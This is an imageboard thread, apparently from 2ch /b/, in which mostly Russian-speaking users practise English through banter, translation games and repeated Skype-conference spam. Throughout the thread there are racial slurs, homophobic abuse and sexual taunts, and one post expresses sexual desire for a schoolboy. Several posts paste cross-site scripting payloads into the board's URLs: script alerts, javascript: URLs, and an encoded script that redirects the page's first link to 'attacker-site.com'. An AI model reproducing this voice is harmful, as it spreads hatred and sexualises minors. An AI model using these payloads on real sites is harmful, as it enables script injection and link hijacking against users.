The night has come, the schoolboys are in bed. It's time for the glorious English thread!
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>>128818028 (OP)Hi. What's up?
Hi!
>>128818028 (OP)Wie geht's?
>>128818469The fuck does that mean
nigga learn some language before trying this hard
>>128818553I guess "what's up?" in the nazi speak.
This thread suckAnd you suck too.I came here to make a tatooOn your assWith Sage,Peace, no rage.
Hi. What are you doing? It's almost a new day.
>>128818660where the fuck did that article come from you worthless nigger
Guys, what about doing English in a Skype conference?
>>128818770slav/10
>>128818720Oh boy, here we go!
please suck a pisos
TRANSLATION CHALLENGE1. Quote a random post2. Translate it as best as you can3. Get pissed on for your hideous Runglishlet's try >>128818661
>>128818822Should I have used "how about"?
>>128818896He's got a yucky dick, likely of HTML flavor.
>>128818896>у него хуй не вкусный, наверника со вкусам хтмлHis dick tastes no good, must be like html flavor.
>>128818896His dick isn't tasty, more like html flavor
Hi there. London is the capital of GB and I am Ivan from Russia Taras from Ukraine. Lets talk about Crimea.
>>128818896>his nasty dick probably tastes like htmlyour turn>>128818811
>>128818744We say "English" but "the English language", same with the word "speak" used as a noun.
>>128819091> Lets talk about Crimea.God pls no
Alright, I'm finishing memorizing my vocabulary due for today and making a Skype conf.
>>128818915>how about an english speaking skype call?
>>128818896His dick is not tasty, for sure with taste of html.
>>128819091Crimea is a Russia, that's all.
>>128819136please go back to whatever shithole you came from you uneducated fuck
Schoolboys on holidays now
>>128819230>Crimea is a Russia>a RussiaWhich one?
>>128818469Halli hallo, sehr schlecht, immer schlecht.
>>128819298I confirm it.
>>128819336
Буржуи сука!
Russians, russians everywhere.
Roll >>128819458
Some memes.
Fuck it. Roll again >>128819497
>>128819336Warum? Bist du ein Chikka?
>>128819457good luck applying russian punctuation to english ya sperg
>>128819516Come on anon, help me out.This was damn hard, yeah. Roll >>128819519
>>128819516Come on, anon, help me!
>>128819158Crimea is a beautyful region with a lot of recreation zones. It is a peninsula so it is surrounded with Black sea. It also has pretty mountains and some architecture monuments like ancient castles.
>>128819402Kurva!
>>128819516Come on, anon, helpe me!
>>128819566the fuck do you want
fuckmy stomach hurts kill me ples
>>128819539English still has commas, even if they are not used nearly as much as in Russian.
>>128819637how would you like to die?
>>128819521Jo. Das ist geil, nicht wahr?
>>128819608It's a translation challenge, see above in the thread. And stop fucking in the eyes
>>128819707quickly
>>128819669using commas and applying them in the same way as you do it in russian isnt really the same
овај пут за српски језик, јебени Албанци It's time for sebrian language, fucking albanians
>>128819747So boring
>>128819787sorrybut i hate pain
>>128819717i've beat the challenge and set it thru, the fag who started it didnt answer's all bullshit
>>128819787I'm not here for your amusement you filthy pheggit
Does anyone know which drug can fix my adaptation habit? All good things first become simple and than they become absolutely annoying. Fuck that life
>>128819764Umíš český?
>>128819709Nicht wirklich.
>>128819764
What does this mean?>Love thy neighbor as thyself is a worthwhile precept.
>>128819893Aber warum? bist du verrukt?
How could i meet cool unsociable girl (nyashnaya hikke tyanochka) if I don`t want to go somewhere else than college and supermarket?
>>128819817When I feel pain I have a lot of things about our world and I forget about that disquietes me
>>128819871Mówię po polsku
So did you make a skype conference? Can't find it in the thread
>>128819861>does anyone know how to fix my adaptation problem? at the start everything seems bright and then it just goes all the way down. fuck this
I have a tourney tomorrow, wish me luck, bro.
Цяпер гэта беларускi трэд. Змагары усiх краiн, яднайцеся!
>>128820074Слава Україні!
>>128819851So, for what I pay for the Internet?
>>128819940>люби совего соседа как себя - это всенациональный принцип (предписание) как удобнее
>>128820142> for what I pay for the Internet?for the internet
>>128820016it reminded me about this songhttps://www.youtube.com/watch?v=RVmG_d3HKBA
>>128820071go to fuck out, faggot
>>128819996Ich bin heute für 3 Stunden oder so nach der Arbeit spazierengegangen. Das war toll. Vielleicht ist das für dich verrückt.
>>128820277U may lick my balls, kid.
>>128820260then for what I need the Internet?
>>128820342or he may not
>>128820036Polštinu sice trochu rozumím, takže se domluvim. Jak se máš, kamarade?
>>128820384for the memes fam
hey guys! how do i shot web?
>>128819849
>>128820440then give me some memes
I'm going to read fanfics. Good luck everyone.
>>128820652Fck off faggit.
>>128820051I'm still finishing my vocabulary. I'll make it in 20 minuts.
>>128820409Čy rozumiješ ukrajinśku movu na latynci?
>>128820687I'm finishing your mommy meanwhile. Will take about 20 minutes too.
>>128820678You're such a dork.
>>128820305Tut mir leid.Das ist schrecklich! Viel Gluck!
wazzup, bitards? What's up with the world today?
Hey /brothers, I desperately seek to improve my skills in english-speaking(well, more like writing, actually). Somebody upper in the thread offered to make a skype-conference. I think it's a nice chance for all of us to have a place where we can share knowledge and gain experience. rye.cat
>>128820791Alright. Be gentle with her.
>>128820952I'm too shy for a Skype conference.
>>128820820Das wetter war heute super! Nicht zu warm, kein Regen trotz der Wolken. Du musst das auch versuchen.
>>128820952I'd like to join u, but i cant fcking leave my hikki-club.
>>128820895You have kissed my balls
>>128821100It will be texting, not actual talking, dummy.
>>128820503wew what is this bullshit aight>>128821002>i have some fucking tennis fetish what the fuck>>128820533
>>128821100Fucking redneck, write "Skype" without "a"
>>128821166Ha-ha. I will call you retard.
>>128821178What about sexting?
>>128821028That bitch likes to be treated like a dirty $10 whore.
>>128821244He used "a" for "conferrence", you silly faggot.
>>128820772No jasne, klidne se mluv ukrajinsky, chlapče.
>>128821178Me personally not really into, but if we manage to gather a bunch of anons, you sure will find someone with similar tastes.
I can't stand the feeling, when i see op's ass drilling.
>>128820010bump for this question
>>128821244rednecks dont have anything to do with sosakas fam
>>128821244The "a" relates to "conference" not "Skype." Fucking retard>>128821178You don't be talkin' to me like that my nigga. Some shit of yours might get fucked up
5up gentlemen
>>128821261Sorry, obosralsya a little with post numbers.>>128821394
SKYPE CONFERENCEHere is link to our Skype conference:?chat&blob=GNhMA5qS_60NpVE0nMg9gW0FUbdeAuH6wGfaiQzGo4LIT31iTIIDon't be shy. Everyone is welcome!
>>128821500the fucks that offensive shit ya bitch ass whitey
>>128818028 (OP)>the schoolboys are in bed. A WOT HOOY TEBE/
>>128821625>here's a link to our skype callfucking worthless nigger
>>128821306That doesn't look like my mom. You must be mistaken.
>>128821131Natürlich, du bist aus Russland? Oder?
>>128821625Fuck you>>128821628And you too
>>128821692>the linkSorry(((
>>128821500You pretty sure don't sound like a shy person, friend. I feel like I can learn a lot from you in terms of language usage. Would you be kind enough to join me at my fake account mentioned earlier?
>>128821732Seems like you don't know her well enough.
>>12882177just an average spam bot then
>>128821756Jetzt lebe ich in Wien.
>>128821779Try this: https://join.skype.com/cysJlEJwFUfs
>>128821872LMAO!Another anon walk by
>>128822121
>>128821955Ach so! ich lebe in Prag.
SKYPE CONFERENCEhttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfsThe conference won't join itself.
>>128821625was that a wishmaster or something? that shit did nothing when I clicked it.
>>128819202ha ha ha
>>128822182Into the thread of the language i'm talking on
>>128822276 -> >>128822215
>>128822215Let's not go cancer here.
>>128822276For sure! Now, enjoy your new program.
>>128818028 (OP)http://2ch.hk/b/?user=<script>alert('хуй')</script>
>>128822353But nobody is joining((
>>128818028 (OP)Life is crap, you must know it.Tomorrow's my German exam so now I'm just sitting here masturbating trying to prepare for that, though writing in English here.
>>128822472Your mom's hacker's here. Everyone go in XSS!
>>128822518I'm too hella fucking paranoid to click on urls here, for example.
>>128822400Bitch whom were to trying to fuck? I'll fuck you myself!
>>128822183Ich habe gehört, dass Wltawa jetzt die Stadt flutet.
>>128822183Die Deutschen haben den Thread okkupiert!!!
>>128822620
>>128822638>skype.com>paranoid to clickTake your pills, dude!
>>128818028 (OP)>>128818028 (OP)https://2ch.hk/b/src/128818028/14649853851710.png?user=<script>alert('хуй')</script> 
>>128822749Nazis will be nazis.
>>128822860tf is this
American in thread, ask answers.
Иф ю синк зэт фак из фанни, фак ёселф энд сэйф ё мани.
>>128818028 (OP)Where are you from?
>>128822974https://www.youtube.com/watch?v=q15qLdQ9bNMNie wieder.
>>128823023 All nontrivial zeros of the analytical continuation of the Riemann zeta function have a real part of 1/2
>>128823023Do American people hate Russian ones?
Holy shit, I remember those /rus threads on 4ch where everyone wrote in this >>128823072 kind of way. That was hillarious.
>>128823180This is not a question though.
>>128823180?
DEJA VUI'VE BEEN IN THIS PLACEBEFORE HIGHER ON THE STREET
>>128823228I forgot ?
>>128822974oh, okay then.
>>128823278Your sentence is not a question grammatically anyway.
>>128822812Internet is a dangerous place, man.
>>128823278U faggot
>>128822692Ne, ich glaube das nicht. aber ich immer im Haus sitzen, so, möglicherweise.
>>128823219We don't hate you really, we just despise and compare you with animals.
>>128818028 (OP)>the schoolboys are in bed.Nope, we're still here.
>>128823373Du sollest etwas mit der Wortfolge tun
>>128823403Wiz your slutty mom
rate my gf
>>128823403What's the point having such an attitude?
>>1288235106/10
>>128823510Pretty broad
>>128823459Ne! ich schwore!
>>128823459Konjunktiv I. Oh mein Got!
>>128823459DAFUQ?! Nazi in MY thread? Go and cry about refugees dumb fuckers.
what is german scum lost in this ITT thread?
>>128823403Couple of years ago i heard vice versa. Has your government taught you to despise us too fast lol?
>>128823510E minus, man, no offence.
SKYPE CONFERENCEhttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfshttps://join.skype.com/cysJlEJwFUfsWe have a company there.
>>128823688Shut up slut! Nazzi rules
>>128823688>in this ITT threadLost the game.
>>128823688We don't bother you, so be kind.
>>128823523You have tons of resources but your life level is shit anyway.
>>128823766How many ppl?
>>128823627
>>128823766Huempany.
>>128823688They show up in every other thread polluting it with their ich-mich-aufnach gibberish.
>>128823912 ->>>128823688
>>128823912 -> >>128823688damn!
I mean, i just accidently>>128823955
>>128823627Auf Schpietzen durch der Meingatte gesollt?
>>1288238423 now. We have a text chat for while.
vsem privet. kak djela?
>>128823838But what about people, not our government? I'm sure you're communicating with Russians. How are they from your pov?
>>128823459Wo bist du? Ich will weiter kommunizieren.
>>128824127Zu fett.
>>128824235Hier. Gluecklicherweise habe ich noch Zeit.
>>128824235Oh, LOL, i start to understand this language. You probably say "Who are you? I want to wait for communication".
>>128824376Es war zu einfach
>>128824376Not quite."Where are you? I want to keep on talking [with you]."
>>128824442"It was too ..." ? :D
>>128824376Aber Fehler machst du noch
>>128824311Das ist Bayrische Dialekte. Birste dich Augenhall!
>>128824320Wunderbar! So, wie gehts du?
London is the capital of Great Britain. Who is on duty today? I am on duty today.
>>128823766>SKYPE CONFERENCE>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfsOur conference is the only way to improve your speaking skill! Join now!
https://2ch.hk/b/res/128818028.html?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
>>128820597Ну вы заебали мрази, я же не сдерживаюсь каждый раз
>>128824582Ziemlich gut, trotz der Schwierigkeiten. Und dir?
>>128824535Well ok... so that means i cannot fully understand them even when the words looks similar to English ones.
>>128824577Ja ja. Erdenk mal Etwas anderes.
>>128824715Nicht so gutt.
>>128824174They're so aggressive. Whenever I get to talk with a Russian ape, it's the "kick or get kicked" kind of deal.
You are at the nightclub and this guy slaps your gorlfriend ass. What do?
>>128824773There are similar words, but not that many. And e.g. "Ich will" in German is "I want" in English...
>>128824895Wie immer.
>>128819454Дебил? А как же английская коммуна?
>>128824967>"Ich will" in German is "I want" in English...Rammstein taught me this already LOL.
>>128824909Well, thanks for opinion anon.
https://2ch.hk/b/res/128818028.html?name=javascript:(function()%7Balert(%22test!%22)%7D)()
https://www.youtube.com/watch?v=Obo0tSsZMyo)
The quickest English proficiency test. It only has one question.1. Why should you never say "you look a perfect sight!" to a girl?
>>128825159https://2ch.hk/b/res/128818028.html?name=%6A%61%76%61%73%63%72%69%70%74%3A%28%66%75%6E%63%74%69%6F%6E%28%29%25%37%42%61%6C%65%72%74%28%25%32%32%74%65%73%74%21%25%32%32%29%25%37%44%29%28%29
>>128825004Ja,Ich habe keine ahnung, was zu tun fur leben
>>128820010No way for u
>>128825250Why?
>>128825206https://2ch.hk/b/res/128818028.html?name=javascript:(function()%7Balert(%22test!%22)%7D)()
>>128825151That's not my opinion only. It's commonly agreed here in the US that Russians are even worse than niggers.
>>128825223Woraus kommt dein Geld fürs Leben jetzt?
>>128825223Geht's um die Bildung in der Zukunft oder was?
>>128825316https://2ch.hk/b/res/128818028.html?name=javascript:(function(){alert("test!")})()
>>128825320Which state are you from?
>>128825349Mutter.
German shit, schpielen your kleine nazi asses out of here!
>>128825199why?
>>128825434Cali
>>128825320
>>128825456Und wie alt bist du?
ПEPEBEДИTE ПOЖAЛУЙCTA HA AHГЛИЙCКИЙ:Meлкиe иcпpaвлeния и нeдoчeтыХoтeлocь бы, чтoбы peбятa из cтyдии иcпpaвили или дoпoлнили нeкoтopыe вeщи:- выхoд из мeню диaлoгa нaжaтиeм кнoпки Esc;- кнoпкa "Пepeигpaть" в кoнцe кaждoй пpoигpaннoй кapтoчнoй пapтии;- вoзмoжнocть пoтpeблять пищy пpямo в oкнe Инвeнтapя;- ввecти икoнки для пepeключeния мeждy paзличными вклaдкaми инвeнтapя (тaкими кaк aлхимия, мeдитaция, pюкзaк)- вoзмoжнocть выбpaть фoнoвyю зacтaвкy в Глaвнoм мeню- вoзмoжнocть oтключaть звyк вo вpeмя зaгpyзки, кoгдa диктop oпиcывaeт пpиключeния гepoя
>>12882553820.
>>128825499Just look up the actual translation.This phrase seems to mean "you look perfect" but actually bears a quite different meaning...
>>128825299U dont want to go somewhere else beside shop and university, if you really would try hard to find a girlnot sure about nyashka it wouldnt be so diff for u.
>>128825540Корзиночка-хуиночка.
>>128825633Du bist jener, wer in Prag lebt? Sprichst du Tschechisch?
>>128825540Melkie icppavleniya and nedochetywould Hoteloc chtoby pebyata of ctydii icppavili or dopolnili nekotopye veschi:- Vyhod of menu dialoga nazhatiem depressing the Esc;- Knopka "Pepeigpat" in kontse kazhdoy ppoigpannoy kaptochnoy paptii;- Vozmozhnoct potpeblyat pischy ppyamo in okne Inventapya;- Vvecti ikonki for pepeklyucheniya mezhdy pazlichnymi vkladkami inventapya (takim kak alhimiya, meditatsiya, pyukzak)- Vozmozhnoct vybpat fonovyyu zactavky in Glavnom menu- Vozmozhnoct otklyuchat sound can ye the On Time zagpyzki, kogda diktop opicyvaet ppiklyucheniya gepoya
>>128825516I used to communicate with people from Az and SD, they don't think anything bad about Russians. Lookin strange..
>>128825383>Geht's um die Bildung in der Zukunft oder was?Recht, aber ich habe keine anhung, was ich studiert will.
>>128825835They just didn't want to be rude
>>128825699О, мой любимый бубарех тут
>>128825949Как тебя с того форума не выгнали ещё? Ничего ведь кроме нытья про кнопки не производишь и не можешь произвести.
>>128818028 (OP)privet =))
Hi guys, I'm a beginner here, where we should start?
>>128825769Richtig. Ja, ich kann Tschechisch spricht.
>>128825540Small fixes and drawbacks.I want the studio fix or add some things:-Quitting the dialog tab by pressing Esc-"Play again" button after every lost game-The ability to consume food in the stuff tab-add icons for switching between stuff tabs (alchemy/meditation/backpack)-The ability to choose the wallpaper in the main menu-The option of switching off the sound while loading, when the main character's adventures are described
>>128826115 Heisst du Ivan?
>>128826130Спасибо>>128826063А за что выгонять? Алсо, даже сделали кое-что, о чем я просил.
>>128825652But I don`t need any stupid bitch with duckface, I want to have girl like in anime whick will really love me. And she don`t have to be very beautyful, just average girl.
>>128826105Let's start with your oozing aids ridden mommy. Then we'll see
>>128826115*kann sprechen
>>128826213Nein!
>>128826223want the studio TO fix, обосрался малясь
>>128825948We had a common internet business, they trusted me. It's not looking like they just tried to be polite lol.
>>128826270Danke, mein deutch ziemlich sehr schlecht.
Good night, 2chI'm stoned tonight so I decided to vkatit'sya in this thread
SKYPE CONFERENCE>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfsWanna practice English? You are welcome.
>>128826130Ошибка на ошибке>I want the studio to fix or addи т.д.Хотя этому дурачку и так сойдёт.
>>128826276Ach so. Habe einen Bekannten in Prag, er ist genau 20 und koennte hier manchmal sein
>>128826130Tab? А может menu лучше?
>>128826276Lüg nicht! Jeder Russe heißt Ivan.
>>128826355deutsch* fix.
>>128826403Да, с to я пофиксил уже
>>128826436Хз.
>>128826403Не бомби, на ланге пофиксят.
>>128826355Zu viele Fehler zu korrigieren, lol.
moldavian ittask your answers
>>128826228Man, you definitely should force a Tulpa. :)
>>128826414Es gibt viele Russen im Prag.
Sorry, I don't speak English.
>>128826705Sprichst du Deutsch?
>>128826663Is it not a trolling? And i don`t want to be a psycho.
>>128826705Я тоже. Пусть они русский учат. Охуели совсем.
>>128826517entschuldigung :(
>>128826760Nein.
>>128818028 (OP)London is a capital of Great Britain.
>>128826859I completely agree with you, m8. Absolutely ohueli.
>>128818028 (OP)SUCK MY DICK NIGGA!
SKYPE CONFERENCE>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs>https://join.skype.com/cysJlEJwFUfs1. Make fake Skype account.2. Join our conference.3. Practice English.4. Get successful.5. ...6. ПРИБЫЛЬ!
>>128826130Спасибо, ты реально хороший человек в отличие от некоторых проходимцев итт
>>128826931And istanbul.
[bold] test [/bold]
[/bold] test [bold]
>>128827037>Make fake Skype account>a fake Skype accountI'm stupid, yeah.
>>128826632Are street robberies common in your counntry yet?
>>128826228Then u should search for a girl in the internet , you may try mmo rpg games, sometimes i met that king of girls there, but there is no 100% recipe to find them, so if you would try it would be very diff, but we all have to understand that nyashistesnyashi is jus a dream that we are all dreaming about, most of us wont live our lives with nyashistesnyashi, so you'd better just take on tnn and watch anime as many of us do.blyad idi nahooi ya ne ebu
TÄMÄ ON NYT SUOMI LANKA!
>>128826805By the way i'm another anonTrolling or not - you decide.
>>128827263Finland is Funland!
>>128827167no
Whassup, niggas?
>>128827359tämä))
>>128827359>>128827263BIN THE FINN
>>128825769Bist du hier noch?
>>128827302What the thing - nobody can provide proofs it is like God
>>128827439delete this
>>128827263starts singing a Korpiklaani song without even knowing Finnishhttps://www.youtube.com/watch?v=GWCowljfU0s
>>128827450Du hast mit mindesten zwei Leuten gesprochen. Ich, der Wiener, bin noch da.
>>128827602LMFAO) t фин
>>128827627Super! Ich brauche dich.
Подпиндосники хуевы.
>>128827460I used to think many time about this and finally made a conclusion that tulpa exists. I didn't force it though.I remembered some events from my life and understood that the brain can work with 2 minds at the same time.
>>128827805
>>128827805We are motherfucking Britain's, not Pendosian! :D
>>128827627nun gibt es hier mindesten drei, guten Abend
>>128827246I joined a few publics on VK like "Dating for hikki". I don`t really beleave that it is a good idea but it is better than nothing. For all the time Itexted just with one girl from that publicks, she was fine but a bit crazy. But we hadn`t any common interests if a guy like me could have interests at all. Also i think that there enough girls of this kind for most of btards because I think that if there are some "strange" guys like us such girls have to exist too.
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>>128828423I`m so hikke 4 it. And I need to go to bed((
>>128828337Gutten Abend!!
Hej, grabbar!
>>128828541Join now, text later!
>>128828543ich bin immer so froh, die deutsche Sprache zu lesen oder zu hörenwie fühlt es, im deutschsprachigen Land zu wohnen?
>>128825540>>128825819Что за говно? Почему гугл транслейтор откзывается переводить и выдает это?
>>128828423The more you post it the less likely somebody will join it
>>128828420Keep in mind friend that hikki girl can turn into sterva bitch when you get married or a bit later.
>>128828825Ich lebe im Prag, so,keine ahnung.
>>128828883У этого дурачка гуглофобия и он заменяет русские буквы на английские
>>128828961>>128827627dann rufe ich den Mann aus Wien
>>128828420I have a friend that have been texting with 7 girls since yesterday becouse of his post in that group, now i suspect him in socioblyading, but his post was pretty good and girls also was not bad, i know only 2 of 7 and they are fine, its maybe becouse of his face, all girls said that he is cute and like that.I saw another posts there and they werent as popular as my friend's
>>128828933I understand that marriage like an official ceremony and stamp in passport don`t make any sense. So if she doesn`t agree this statement she couldn`t be my girl.
Sup fellasWhat is it you're talking about here? Tyans again?
>>128829112 MANN AUS WIEN, WO bIST DU? BIST DU SCHLAFEN ODER WAS?
>>128829112MANN AUS WIEN, WO bIST DU? BIST DU SCHLAFEN ODER WAS?
>>128829322>>128829380schlafst du?*, mein Kamerad
>>128829322Scheisse!
>>128829309Well, there is a German invasion. >Tyans again?Always.
>>128828916Stop discouraging me!
>>128829521Vielen Dank!
>>128829532>Always.That's sad. Why is this theme so popular?asexual guy passing by
För Sverige – i tiden!
>>128829193I hadn`t posted there yet but if your friend posted his face there(or somewhere else) he is the truly socioblyad social butterfly in English of course.
>>128829619jemand sucht dich
>>128829293Now your chances to find a girl of your dream are little less than zero, i think!Do you think, by the way, about procreation?
Actually schoolboys are not in their beds cause it's summertime my dudes
>>128829663Most of them want a girl.
>>128829710Blyat))
>>128829619also, wie geht's in Tschechien?oder bist du nicht jener Mann?
>>128829733Und ich Suche auch!
>>128829772But they're useless. What can a girl do that another guy can't? Why are anons still being straight in 2016?
>>128829724Not in group, just in privat mess to these girls and them gave him their.Does it save him?
>>128829889Idk, i dont like girls or boys either, i just like fappinganal sometimes myself and games.
>>128829663>Always.It was supposed to be a HP reference. And a joke. A pretty weird joke. Don't know why I did it.
Where's the talk-dirty-to-me faggot? I'm worried.
>>128829745> procreationProbably but only when I will have enough money income or when i will be 35-40 years old, I am too young for this shit at the moment
>>128829797Ich bin dieser mann. Ich denke, wo ich studiert will.
>>128829772I'd like to have a hug-girl. Like a friend who'd give me hugs when I needed them.
>>128830135You would fall in love then.
The thread has gone retarded.
GNNgirlsnotneed
>>128830057I don't remember such a phrase in HP so I didn't get this reference >>128830053Yeah I fap sometimes too but having a boy\girlfriend - meh
>>128830093Zu viele Fehler?
>>128830243TNN-Tyans not needed?
>>128829889In this world, there are also feelings besides rational sense.
>>128826760guten abendwie gehts?
>>128830093>>128830307 nur "studieren"und wie lange lebst du hier? gibt es einige Probleme?
>>128830327Ich gut. Und du?
>>128830379auch gut
>>128830237I actually already did. Then I figured that she only sees me as a friend so I distanced myself from her and now we only talk occasionally. She'd hug me when we greeted and leaved each other.
This is the English fucking thread. Fuck off with your aufschwieden bullshit for now.
>>128830311>b>rational sense)I didn't mean that all men have live with rational sense. It's too smart thing for us.
>>128830465Dvaching you!
>>128830248“Don’t tell me that you’ve grown to care for the boy,” Dumbledore says. “After all this time?”“Always,” Snape answers.SRC: http://www.ibtimes.com/what-does-always-mean-harry-potter-jk-rowling-reveals-what-she-told-severus-snape-2270077
>>128830453Ich fickt du Mutter und sie liebe das.
>>128830465
>>128830461I think that there is no friendship between girl and boy, and boys are mostly one who fall in love first when girl may continue think that they are a friends
>>128830587alles gut mit dein Kopf?
>>128830606Create another thread guys. Don't occupy our lands.
>>128830712Ja. Ich nicht gut mit Deutsche, but Kopf gut.
>>128830689>no friendshipI think there can be but only of none of them are attracted to the other.But yes, I've seen what you described one too many times.
>>128830746a German thread is likely to fail, but ok, worth trying
>>128830359Naja, es gibt fiele Problemen, Ich habe keine freund und ich bin zu schüchtern, ich habe die angst for dem Gespräch.
How prepare for english exam? I have 3 days...
>>128830583Fuck, too hard to understand it at night. I can't remember that dialog in russian. I can't even remember if I watched last 2 of 3 movies.
>>128830913>there can be but only of none of them are attractedparsing error
>>128831010>>there can be, but only if none of them are (is?) attractedI'm half-asleep here, lad.
>>128830937It'll sure be a success, just look at how many of you Germanfags are here
>>128830091Oh, i caught myself on thought that i'm trying to teach you something... I should stop doing that because i'm fucking green non-kissed virgin too! lol
>>128828970В голосину с деба
>>128830944nicht so groß für den andere, vielleicht.
>>128830879>Mein Deutsch ist nicht so gut, aber ich hab kein problem mit mein Kopf
22 years old, still a kissless virgin and not planning to change anything. Is that fine?
>>128831177Aber nur fur mich, so.
>>128830984Just keep calm and prepare ur anus, bruh.
На форчан, быдло
>>128830944wart ein paar Minutenich versuche, den anderen Faden thread zu machen
>>128831274На или В ?
>>128831132But what if... it's just the only anon chatting with himself? LOL
>>128831203Danke, du ist gut mann.
>>128831310Jawohl, gutten Herr!
>>128831244If u think that it's fine - then it's fine! But i wouldn't think that it's fine if i was you.
>>128831418'bist' возможно.
>>128831244Yes.
>>128831418gerne
>>128831244Absolutely!
Thread approved.
>>128831650What does it mean?
>>128831418aber nicht mehr meine mutter ficken
>>128831698WARUM!?
>>128831244Try to choose other ways to become non-virgin. Homosexuality, for example.
>>128831741darum
>>128831698Deiner Vatter hast eine gute Arsh also
Ich bin jaja zer gut das ist fantastisch.
Hello and HI
>>128831881Sup
>>128831784It is better to order a prostitute than become a fag
Sup?
>>128831939How are you today ?Or night :P
>>128831857Now it's Zootopia thread
>>128831881Suh dude
>>128831881Vassalamu aleikum
>>128832024Salam. Necesen ?
>>128831878Schnitzel oder bratwurst?
>>128832010Typing at the night... feeling sleepy :)
What good PC game could you advise? Last three played were GTA SA, Rise of Nations and Warthunder on tanks.
>>128832017Alright
der deutsche Faden ist fertig, herzlich Willkommen!
>>128832191osuhearthstonepenguin clubcs go
>>128832241o fug his neikd o.o
>>128832170and why you does't go to sleep?I wonder if i have a mistakes/
>>128832191Go ahead and try Insurgency. This game is insane, I swear to God.
>>128832081Stop speaking explosive language!
>>128832191I have stopped on GTA SA and don't wanna move any further. There are tons of different games, so i decided to stop and get out of gaming.
>>128832286Herr Gott!
>>1288323382ching this guy
>>128832349HE STARTED FIRST!!!
>>128832191Dis one man
>>128832286Aber wo?
>>128832296PC gamer spotted
>>128832564https://2ch.hk/b/res/128831985.html
>>128832326I wanted to go, but this thread looks so extraordinary, so i decided to keep here. I don't think that there will be such English thread in the near future.Don't worry about mistakes, no one of us can be perfect.
>>128832618The pussy sussy deastroyer
>>128832326>And why are you still up?>I wonder if I've made any mistakes
>>128832713It's true, but i hate having mistakes
>>128832816Thanks, buddy
In days of oldWhen knights were boldAnd ladies weren't inventedThey had to drill holesIn telegraph polesAnd thus they were contended
>>128832823When you spend many time on such threads or English forums, you will improve your typing-without-mistakes well.
>>128832338Sounds cool, i'll try it tomorrow
>>128833012Many thanks you for your advice
>>128832471I'm not really into RPG's so i dropped it after few hours playing.
>>128833012Bullshit. Reading posts like "say me do i making a mistakes" will only harm your English skills.
The thread is extinct.
>>128833555Tripplе could not lie
>>128833555># OPOP is faggot.
>>128833379I mean forums with native speakers where they are talking about some other things, not about English lang.>>128833555So, when we stopped to talk about girls, the thread became extinct?Moar girls then!))
>>128832191GTA Kupyansk.
Been rollin' 'round, rolled into da thread. Sup guys and huys(OPs)
>>128833877Sup dear anonimous. You anons should nabigat better, in order to keep this thread alive.
>>128833877>Been rollin' 'roundHope you're not from CLUBS-thread cos your speaking style is very similar to folks from it.
>>128834263Why don't you like clubs threads? Are you SOSKA?
>>128835014They are overforced already IMO. New cancer of /b/, just like FindFace or Ocean of Whales threads. Right, they were cool, but they weren't so usual like webm or fap threads ffs. And no, I'm not soska.
>>128835573If you think like SOSKA, talk like SOSKA, and look like SOSKA, then I suppose you indeed are one.
>>128818028 (OP)>schoolboysI want to fuck some pretty blonde schoolboy. I want to lick him all.
>>128835985You have no actual reason to call me soska, you fag.
>>128835989>blonde>schoolboyDoesn't match
>>128836091I did that just to keep up the conversation. Actually I don't even know what "soska" means.
>>128829710Norsk er beste
>>128836216It rather means that "soska" sucks a dick.
>>128836150Sissy schoolboy is literally a girl.
>>128836216Then, I guess, you're not very well at keeping up the conversations.
>>128836353In terms of grammar he's still male.
>>128836715Agree.
>>128836401Pretty much this.Haven't had one for years and almost forgot how to speak. When I try to speak Russian fluently, my tongue twists like I'm dead drunk.
Bumplimit is not behind mountains, gayz.
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>>128836932I'll wipe the fuck out of your thread, sissy bitch ass faggot.
>>128818028 (OP)Oh well, Rrussian boys are trying to speak kings. Good luck with that
>>128836799I'm not so deep into sitting on the front of my PC, but your words about tongue is truly for me too at some parts.
>>128837059>speak kingsOf course we can't.
Gotta go to work in a few minutes. On a fucking Saturday, yeah. This morning sucks.
bump though
ye bvmpe
bump
>>128837948
>>128837956wut
>>128837959Why are you bumping dolboyob? Make perekat - this thread has almost reached a bumplimit.
>>128838030Too lazy for that. Also fuck you.
>>128838056Go fuck yourself then, OPs are also faggots
>>128838092I hope you die a horrible death, bitch.
>>128838127I've been hoping for that for last 10 years.
>>128838201In this case I hope you break the longevity record
wow much english up here.
>>128838348The party's over, everybody fuck off.
It hurts so much to see your own thread drown... slowly but surely. It's like holding a dying friend in your arms but worse.
>>128838340You're ruthless beast
test
>>128819457Your commas are fine. Don't listen to the person who replied
